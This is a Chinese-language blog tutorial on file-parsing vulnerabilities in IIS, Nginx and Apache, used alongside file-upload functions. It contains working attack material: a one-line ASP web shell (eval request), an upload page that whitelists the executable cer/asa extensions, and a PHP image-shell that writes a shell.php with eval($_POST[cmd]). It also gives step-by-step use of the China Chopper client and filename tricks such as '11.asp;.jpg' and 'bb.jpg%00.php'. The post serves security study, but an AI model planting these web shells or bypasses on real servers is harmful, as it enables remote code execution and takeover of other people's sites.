前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >解析漏洞——中间件

解析漏洞——中间件

作者头像
宸寰客
发布2020-08-25 16:09:33
1.4K0
发布2020-08-25 16:09:33
举报
文章被收录于专栏:yuancao博客yuancao博客yuancao博客

目录

  • 解析漏洞简介
  • 解析漏洞
    • 1、IIS 5.x/6.0解析漏洞
      • 文件
        • 1.html
        • aa.asp
        • 11.cer
      • 利用方法
    • 2、IIS 6.0
      • 1.目录解析
      • 2.文件解析
    • 3、IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞 - bb.jpg
    • 4、Nginx <0.8.03 空字节代码执行漏洞
    • 5、apache解析漏洞

解析漏洞简介

解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。

该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。

解析漏洞

常见的解析漏洞有以下几种

IIS 5.x/6.0解析漏洞
IIS 7.0/IIS 7.5/ 
Nginx <0.8.3畸形解析漏洞
Nginx <8.03 空字节代码执行漏洞
Apache解析漏洞

1、IIS 5.x/6.0解析漏洞

首先,需要找到符合要求的IIS版本,版本号在这区间的IIS,asa、cer 、cdx文件会被当做asp文件执行。

所以当他禁止上传asp文件时,可以上传asa、cer 、cdx文件

这里我用的是IIS 6.0版本

文件

1.html
<html>
<head>
  <title>ASP无组件上传类</title>
  <meta http-equiv="content-Type" content="text/html; charset=gb2312">
</head>
<body>
  <form action="aa.asp" method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');">
    <input type="file" name="upFile"/>
    <input type="submit" value="上传文件"/>
  </form>
</body>
</html>
aa.asp
<%@   language="javascript"%> 
<% 
var   self   =   Request.serverVariables("SCRIPT_NAME"); 
if   (Request.serverVariables("REQUEST_METHOD")=="POST") 
{ 
                var   oo   =   new   uploadFile(); 
                oo.path   =   "";                                                 //存放路径,为空表示当前路径,默认为uploadFile 
                oo.named   =   "file";                                                 //命名方式,date表示用日期来命名,file表示用文件名本身,默认为file 
                oo.ext   =   "jpg|gif|cer|asa";                                                                 //允许上传的扩展名,all表示都允许,默认为all 
                oo.over   =   true;                                                                 //当存在相同文件名时是否覆盖,默认为false 
                oo.size   =   1*1024*1024;                                 //最大字节数限制,默认为1G 
                oo.upload(); 
                Response.write(' <script   type="text/javascript"> location.replace("'+self+'") </script> '); 
} 
 
//ASP无组件上传类 
function   uploadFile() 
{ 
        var   bLen     =   Request.totalBytes; 
        var   bText   =   Request.binaryRead(bLen); 
        var   oo   =   Server.createObject("ADODB.Stream"); 
        oo.mode   =   3; 
                this.path   =   "uploadFile"; 
                this.named   =   "file"; 
                this.ext   =   "jpg|gif|cer|asa"; 
                this.over   =   false; 
                this.size   =   1*1024*1024*1024;                 //1GB 
 
                //文件上传               
                this.upload   =   function   () 
                { 
                                var   o   =   this.getInfo(); 
                                if   (o.size> this.size) 
                                { 
                                                alert("文件过大,不能上传!"); 
                                                return;                               
                                } 
                                var   f   =   this.getFileName(); 
                                var   ext   =   f.replace(/^.+\./,""); 
                                if   (this.ext!="all"&&!new   RegExp(this.ext.replace(/,/g," |"),"ig").test(ext)) 
                                { 
                                                alert("目前暂不支持扩展名为   "+ext+"   的文件上传!"); 
                                                return; 
                                } 
                                if   (this.named=="date") 
                                { 
                                                f   =   new   Date().toLocaleString().replace(/\D/g,"")   +   "."   +   ext; 
                                } 
 
                                oo.open(); 
                                oo.type   =   1; 
                                oo.write(o.bin); 
                                this.path   =   this.path.replace(/[^\/\\]$/,"$&/"); 
                                var   fso   =   Server.createObject("Scripting.FileSystemObject"); 
                                if(this.path!=""&&!fso.folderExists(Server.mapPath(this.path))) 
                                { 
                                                fso.createFolder(Server.mapPath(this.path)); 
                                } 
                                try 
                                { 
                                                oo.saveToFile(Server.mapPath(this.path+f),this.over?2:1); 
                                                alert("上传成功!"); 
                                } 
                                catch(e) 
                                { 
                                                alert("对不起,此文件已存在!"); 
                                } 
                                oo.close(); 
                                delete(oo); 
 
                } 
 
                //获取二进制和文件字节数 
                this.getInfo   =   function   () 
                { 
                                oo.open(); 
                                oo.type=1; 
                                oo.write(bText); 
                                oo.position   =   0;                                                               
                                oo.type=2; 
                                oo.charset="unicode"; 
                                var   gbCode=escape(oo.readText()).replace(/%u(..)(..)/g,"%$2%$1"); 
                                var   sPos=gbCode.indexOf("%0D%0A%0D%0A")+12; 
                                var   sLength=bLen-(gbCode.substring(0,gbCode.indexOf("%0D%0A")).length/3)-sPos/3-6; 
                                oo.close(); 
               
                                oo.open(); 
                                oo.type   =   1;               
                                oo.write(bText); 
                                oo.position=sPos/3; 
                                var   bFile=oo.read(sLength); 
                                oo.close(); 
                               
                                return   {   bin:bFile,   size:sLength   }; 
                } 
 
                //获取文件名               
                this.getFileName   =   function   () 
                { 
                                oo.open(); 
                                oo.type   =   2; 
                                oo.writeText(bText); 
                                oo.position   =   0; 
                                oo.charset   =   "gb2312"; 
                                var   fileName   =   oo.readText().match(/filename=\"(.+?)\"/i)[1].split("\\").slice(-1)[0]; 
                                oo.close(); 
                                return   fileName; 
                } 
               
                function   alert(msg) 
                { 
                                Response.write(' <script   type="text/javascript"> alert("'+msg+'"); </script> '); 
                } 
} 
%> 
<html> 
<head> 
    <title> ASP无组件上传类 </title> 
    <meta   http-equiv="content-Type"   content="text/html;   charset=gb2312"> 
</head> 
<body> 
    <form   action=" <%=self%> "   method="post"   enctype="multipart/form-data"   onSubmit="return   (this.upFile.value!='');"> 
        <input   type="file"   name="upFile"/> 
        <input   type="submit"   value="上传文件"/> 
    </form> 
</body> 
</html>
11.cer
<%eval request("a")%>

利用方法

这里上传一个cer文件

上传成功后用菜刀连接,这里脚本类型选择ASP(eval)

连接成功

2、IIS 6.0

IIS 6.0 有两个单独的解析漏洞

1.目录解析

/xx.asp/xx.jpg

在网站下名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都会被IIS当作asp文件来解析并执行。

例如有个目录是 abc.asp,那么/abc.asp/1.jpg会被当作asp文件来执行。

这个漏洞很难遇到:

首先,得有个网站管理员取个名字为xx.asp的文件夹;然后,你还得有往这个文件夹上传文件的权限

2.文件解析

11.asp;.jpg

在IIS6.0下,分号后面的内容不被解析,也就是说

11.asp;.jpg 会被服务器当做11.asp执行

所以如果禁止上传asp文件时,可以上传一个11.asp;.jpg 文件

同样,利用前面的文件,开始上传

然后利用菜刀连接

3、IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞

在默认Fast-CGI开启状况下,上传一个名字为bb.jpg的文件,然后访问bb.jpg/.php,在这个目录下就会生成一句话木马 shell.php

bb.jpg
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问bb.jpg文件时,在后面加上./php,这个文件就会被当做php文件执行

因为没找到合适版本的IIS,nginx,所以这里就不演示了

4、Nginx <0.8.03 空字节代码执行漏洞

影响版:0.5.*,0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37

同样适用上面的图片马bb.jpg

在后面加上%00.php时,bb.jpg会被当做php文件执行。

127.0.0.1/bb.jpg%00.php

虽然看起来和00截断一样,都是%00,但是作用不一样,至于两者有什么关联,我暂时还没搞明白

5、apache解析漏洞

说到这个漏洞,就得说两个消息

好消息:因为apache官方不承认这是一个漏洞,所以每个版本的apache都会有这个漏洞出现

坏消息:开发员大都知道且认为这是个漏洞,所以会有一定的防御措施

详情可以参考这篇博客

https://blog.csdn.net/weixin_45663905/article/details/107560774

apache其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php, 这时只要文件名里包含.php就会以php文件来执行—— 即使文件名是 test.php.jpg ,jpg在右边,也会以 php 来执行。

(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样会以 php 方式执行。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-08-21 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目录
  • 解析漏洞简介
  • 解析漏洞
    • 1、IIS 5.x/6.0解析漏洞
      • 文件
      • 利用方法
    • 2、IIS 6.0
      • 1.目录解析
      • 2.文件解析
    • 3、IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞
      • 4、Nginx <0.8.03 空字节代码执行漏洞
        • 5、apache解析漏洞
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档